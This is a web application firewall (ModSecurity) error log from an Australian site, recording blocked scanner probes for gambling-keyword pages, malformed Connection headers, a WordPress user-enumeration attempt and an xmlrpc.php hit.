[Tue May 19 08:59:53.869791 2026] [:error] [pid 38814:tid 38821] [client 62.84.185.69:51788] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/we88%20slot.aspx"] [unique_id "agu2CQvkKuBwP0epzWdlGQAAAMU"]
[Tue May 19 08:59:56.592841 2026] [:error] [pid 46815:tid 46818] [client 62.84.185.69:21188] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/www%20ufabet%20com.aspx"] [unique_id "agu2DCPnRhJOmA06LgoSYAAAAUE"]
[Tue May 19 08:59:59.264979 2026] [:error] [pid 38699:tid 38758] [client 62.84.185.69:21198] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/xo%20slot.aspx"] [unique_id "agu2D7--Adsw_P-dthZOhwAAAFA"]
[Tue May 19 09:00:01.943179 2026] [:error] [pid 38697:tid 38729] [client 62.84.185.69:21208] [client 62.84.185.69] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/yakuza%20slot.aspx"] [unique_id "agu2EaXP9pP6Kgt-msTYMAAAAA4"]
[Tue May 19 09:59:00.281501 2026] [:error] [pid 38705:tid 38780] [client 170.106.140.110:58536] [client 170.106.140.110] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agvD5Mg5dNOZ5umN9ls0JgAAAIs"]
[Tue May 19 12:33:55.468157 2026] [:error] [pid 38697:tid 38729] [client 49.233.45.47:55926] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agvoM6XP9pP6Kgt-msQPfAAAAA4"]
[Tue May 19 12:50:23.223193 2026] [:error] [pid 46815:tid 46829] [client 43.157.142.101:43378] [client 43.157.142.101] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agvsDyPnRhJOmA06Lgo6GQAAAUw"]
[Tue May 19 15:11:56.485078 2026] [:error] [pid 38697:tid 38739] [client 43.156.232.134:60066] [client 43.156.232.134] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agwNPKXP9pP6Kgt-msQhsgAAABg"]
[Tue May 19 18:12:31.384890 2026] [:error] [pid 41573:tid 41591] [client 43.156.18.240:42630] [client 43.156.18.240] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agw3jy1A2bd6JDSW9RZ8_AAAARA"]
[Tue May 19 20:17:23.825342 2026] [:error] [pid 29823:tid 29850] [client 43.153.26.165:56686] [client 43.153.26.165] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agxU02O09C0nAz8vRk5DlAAAAcs"]
[Tue May 19 23:08:22.923860 2026] [:error] [pid 38705:tid 38770] [client 43.159.143.187:51472] [client 43.159.143.187] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agx85sg5dNOZ5umN9ltoxAAAAIE"]
[Tue May 19 23:24:17.169311 2026] [:error] [pid 55881:tid 55891] [client 75.119.155.172:9394] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/auto%20slot.aspx"] [unique_id "agyAoe-UExma0LUC7WARlAAAAkg"]
[Tue May 19 23:24:19.849848 2026] [:error] [pid 38697:tid 38723] [client 75.119.155.172:62642] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20casino.aspx"] [unique_id "agyAo6XP9pP6Kgt-msRjVwAAAAg"]
[Tue May 19 23:24:22.549886 2026] [:error] [pid 29823:tid 29842] [client 75.119.155.172:62644] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20co.aspx"] [unique_id "agyApmO09C0nAz8vRk5ikQAAAcc"]
[Tue May 19 23:24:25.089184 2026] [:error] [pid 38705:tid 38783] [client 75.119.155.172:62656] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20dc.aspx"] [unique_id "agyAqcg5dNOZ5umN9ltpkAAAAI4"]
[Tue May 19 23:24:27.601073 2026] [:error] [pid 38705:tid 38781] [client 75.119.155.172:62662] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20original.aspx"] [unique_id "agyAq8g5dNOZ5umN9ltpkQAAAIw"]
[Tue May 19 23:24:30.273404 2026] [:error] [pid 38705:tid 38769] [client 75.119.155.172:63364] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20slot.aspx"] [unique_id "agyArsg5dNOZ5umN9ltpkgAAAIA"]
[Tue May 19 23:24:32.714534 2026] [:error] [pid 41573:tid 41592] [client 75.119.155.172:63368] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflik%20thailand.aspx"] [unique_id "agyAsC1A2bd6JDSW9Rax_QAAARE"]
[Tue May 19 23:24:35.326013 2026] [:error] [pid 38697:tid 38717] [client 75.119.155.172:63370] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20auto.aspx"] [unique_id "agyAs6XP9pP6Kgt-msRjXAAAAAI"]
[Tue May 19 23:24:38.022534 2026] [:error] [pid 41573:tid 41596] [client 75.119.155.172:12454] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20casino.aspx"] [unique_id "agyAti1A2bd6JDSW9RayBwAAARU"]
[Tue May 19 23:24:40.594314 2026] [:error] [pid 29823:tid 29847] [client 75.119.155.172:12466] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20co.aspx"] [unique_id "agyAuGO09C0nAz8vRk5ingAAAcg"]
[Tue May 19 23:24:43.225693 2026] [:error] [pid 38699:tid 38752] [client 75.119.155.172:12474] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20slot.aspx"] [unique_id "agyAu7--Adsw_P-dtha5WgAAAEo"]
[Tue May 19 23:24:45.756781 2026] [:error] [pid 29823:tid 29857] [client 75.119.155.172:12476] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/betflix%20wallet.aspx"] [unique_id "agyAvWO09C0nAz8vRk5iowAAAdI"]
[Tue May 19 23:24:48.392604 2026] [:error] [pid 38697:tid 38731] [client 75.119.155.172:26262] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflik.aspx"] [unique_id "agyAwKXP9pP6Kgt-msRjYAAAABA"]
[Tue May 19 23:24:50.967071 2026] [:error] [pid 38697:tid 38722] [client 75.119.155.172:26272] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20betflix.aspx"] [unique_id "agyAwqXP9pP6Kgt-msRjYQAAAAc"]
[Tue May 19 23:24:53.864512 2026] [:error] [pid 38699:tid 38759] [client 75.119.155.172:26276] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/casino%20wallet.aspx"] [unique_id "agyAxb--Adsw_P-dtha5YAAAAFE"]
[Tue May 19 23:24:56.560985 2026] [:error] [pid 29823:tid 29836] [client 75.119.155.172:26288] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/dg%20casino.aspx"] [unique_id "agyAyGO09C0nAz8vRk5ipgAAAcE"]
[Tue May 19 23:24:59.165770 2026] [:error] [pid 38699:tid 38748] [client 75.119.155.172:31652] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/g2g%20slot.aspx"] [unique_id "agyAy7--Adsw_P-dtha5YwAAAEY"]
[Tue May 19 23:25:01.615192 2026] [:error] [pid 38697:tid 38729] [client 75.119.155.172:31658] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20auto%20slot.aspx"] [unique_id "agyAzaXP9pP6Kgt-msRjbAAAAA4"]
[Tue May 19 23:25:04.366473 2026] [:error] [pid 38814:tid 38826] [client 75.119.155.172:31664] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/galaxy%20bet%20slot.aspx"] [unique_id "agyA0AvkKuBwP0epzWeoqgAAAMo"]
[Tue May 19 23:25:07.013821 2026] [:error] [pid 38699:tid 38757] [client 75.119.155.172:31678] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/h25%20com.aspx"] [unique_id "agyA07--Adsw_P-dtha5awAAAE8"]
[Tue May 19 23:25:09.743466 2026] [:error] [pid 38699:tid 38753] [client 75.119.155.172:32542] [client 75.119.155.172] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/jili%20slot.aspx"] [unique_id "agyA1b--Adsw_P-dtha5cgAAAEs"]
[Wed May 20 01:13:33.208908 2026] [:error] [pid 38697:tid 38719] [client 43.134.1.185:35934] [client 43.134.1.185] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||www.vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "www.vetstars.com.au"] [uri "/"] [unique_id "agyaPaXP9pP6Kgt-msRsyAAAAAQ"]
[Wed May 20 01:53:13.965939 2026] [:error] [pid 38697:tid 38730] [client 91.227.122.219:41518] [client 91.227.122.219] ModSecurity: Access denied with code 403 (phase 2). Operator EQ matched 0 at REQUEST_COOKIES_NAMES. [file "/usr/local/apache/modsecurity-cwaf/rules/26_Apps_WordPress.conf"] [line "155"] [id "225170"] [rev "3"] [msg "COMODO WAF: Sensitive Information Disclosure Vulnerability in WordPress 4.7 (CVE-2017-5487)||vetstars.com.au|F|2"] [severity "CRITICAL"] [tag "CWAF"] [tag "WordPress"] [hostname "vetstars.com.au"] [uri "/wp-json/wp/v2/users"] [unique_id "agyjiaXP9pP6Kgt-msRxTwAAAA8"]
[Wed May 20 02:00:40.252081 2026] [:error] [pid 29823:tid 29849] [client 49.233.45.47:45746] [client 49.233.45.47] ModSecurity: Access denied with code 403 (phase 2). Pattern match "\\\\b(close|keep-alive),[\\\\t\\\\n\\\\r ]{0,1}(close|keep-alive)\\\\b" at REQUEST_HEADERS:Connection. [file "/usr/local/apache/modsecurity-cwaf/rules/12_HTTP_Protocol.conf"] [line "70"] [id "210350"] [rev "1"] [msg "COMODO WAF: Multiple/Conflicting Connection Header Data Found||vetstars.com.au|F|4"] [data "keep-alive, close"] [severity "WARNING"] [tag "CWAF"] [tag "Protocol"] [hostname "vetstars.com.au"] [uri "/"] [unique_id "agylSGO09C0nAz8vRk51cwAAAco"]
[Wed May 20 02:06:28.111348 2026] [:error] [pid 38699:tid 38748] [client 182.69.179.211:32220] [client 182.69.179.211] ModSecurity: Warning. Pattern match "/xmlrpc\\\\.php" at REQUEST_URI. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_Wordpress.conf"] [line "6"] [id "400001"] [msg "xmlrpc.php hit from 182.69.179.211, incrementing ddos counter"] [hostname "vetstars.com.au"] [uri "/xmlrpc.php"] [unique_id "agympL--Adsw_P-dthbX9gAAAEY"], referer: https://vetstars.com.au/
[Wed May 20 02:26:57.827308 2026] [:error] [pid 46896:tid 46917] [client 91.137.27.140:61282] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20plus.aspx"] [unique_id "agyrcaCHyzL3Ci9LGE102gAAAZM"]
[Wed May 20 02:27:00.265324 2026] [:error] [pid 38699:tid 38754] [client 91.137.27.140:4032] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20168.aspx"] [unique_id "agyrdL--Adsw_P-dthbbmAAAAEw"]
[Wed May 20 02:27:02.961504 2026] [:error] [pid 46815:tid 46838] [client 91.137.27.140:35549] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20789.aspx"] [unique_id "agyrdiPnRhJOmA06LgqScQAAAVU"]
[Wed May 20 02:27:05.697680 2026] [:error] [pid 38814:tid 38837] [client 91.137.27.140:9056] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20888th.aspx"] [unique_id "agyreQvkKuBwP0epzWezggAAANU"]
[Wed May 20 02:27:08.368814 2026] [:error] [pid 46815:tid 46830] [client 91.137.27.140:5216] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto%20wallet.aspx"] [unique_id "agyrfCPnRhJOmA06LgqScwAAAU0"]
[Wed May 20 02:27:11.024687 2026] [:error] [pid 41573:tid 41578] [client 91.137.27.140:57689] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20auto.aspx"] [unique_id "agyrfy1A2bd6JDSW9RbYVwAAAQM"]
[Wed May 20 02:27:13.688468 2026] [:error] [pid 29823:tid 29854] [client 91.137.27.140:17738] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20game.aspx"] [unique_id "agyrgWO09C0nAz8vRk55PAAAAc8"]
[Wed May 20 02:27:16.383510 2026] [:error] [pid 29823:tid 29839] [client 91.137.27.140:47404] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vegas.aspx"] [unique_id "agyrhGO09C0nAz8vRk55QAAAAcQ"]
[Wed May 20 02:27:19.074926 2026] [:error] [pid 29823:tid 29841] [client 91.137.27.140:9634] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20vip.aspx"] [unique_id "agyrh2O09C0nAz8vRk55RQAAAcY"]
[Wed May 20 02:27:21.753601 2026] [:error] [pid 38697:tid 38733] [client 91.137.27.140:23332] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot%20wallet.aspx"] [unique_id "agyriaXP9pP6Kgt-msR0zwAAABI"]
[Wed May 20 02:27:24.170753 2026] [:error] [pid 46896:tid 46919] [client 91.137.27.140:60372] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot168.aspx"] [unique_id "agyrjKCHyzL3Ci9LGE103AAAAZU"]
[Wed May 20 02:27:26.704319 2026] [:error] [pid 38699:tid 38765] [client 91.137.27.140:51542] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20slot99.aspx"] [unique_id "agyrjr--Adsw_P-dthbbqAAAAFc"]
[Wed May 20 02:27:29.197817 2026] [:error] [pid 41573:tid 41594] [client 91.137.27.140:23686] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20soft.aspx"] [unique_id "agyrkS1A2bd6JDSW9RbYYwAAARM"]
[Wed May 20 02:27:31.556074 2026] [:error] [pid 41573:tid 41589] [client 91.137.27.140:61633] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20th.aspx"] [unique_id "agyrky1A2bd6JDSW9RbYbAAAAQ4"]
[Wed May 20 02:27:34.098708 2026] [:error] [pid 38699:tid 38747] [client 91.137.27.140:32479] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20thailand.aspx"] [unique_id "agyrlr--Adsw_P-dthbbrQAAAEU"]
[Wed May 20 02:27:36.457150 2026] [:error] [pid 38699:tid 38764] [client 91.137.27.140:43010] [client 91.137.27.140] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "vetstars.com.au"] [uri "/pg%20wallet.aspx"] [unique_id "agyrmL--Adsw_P-dthbbrgAAAFY"]
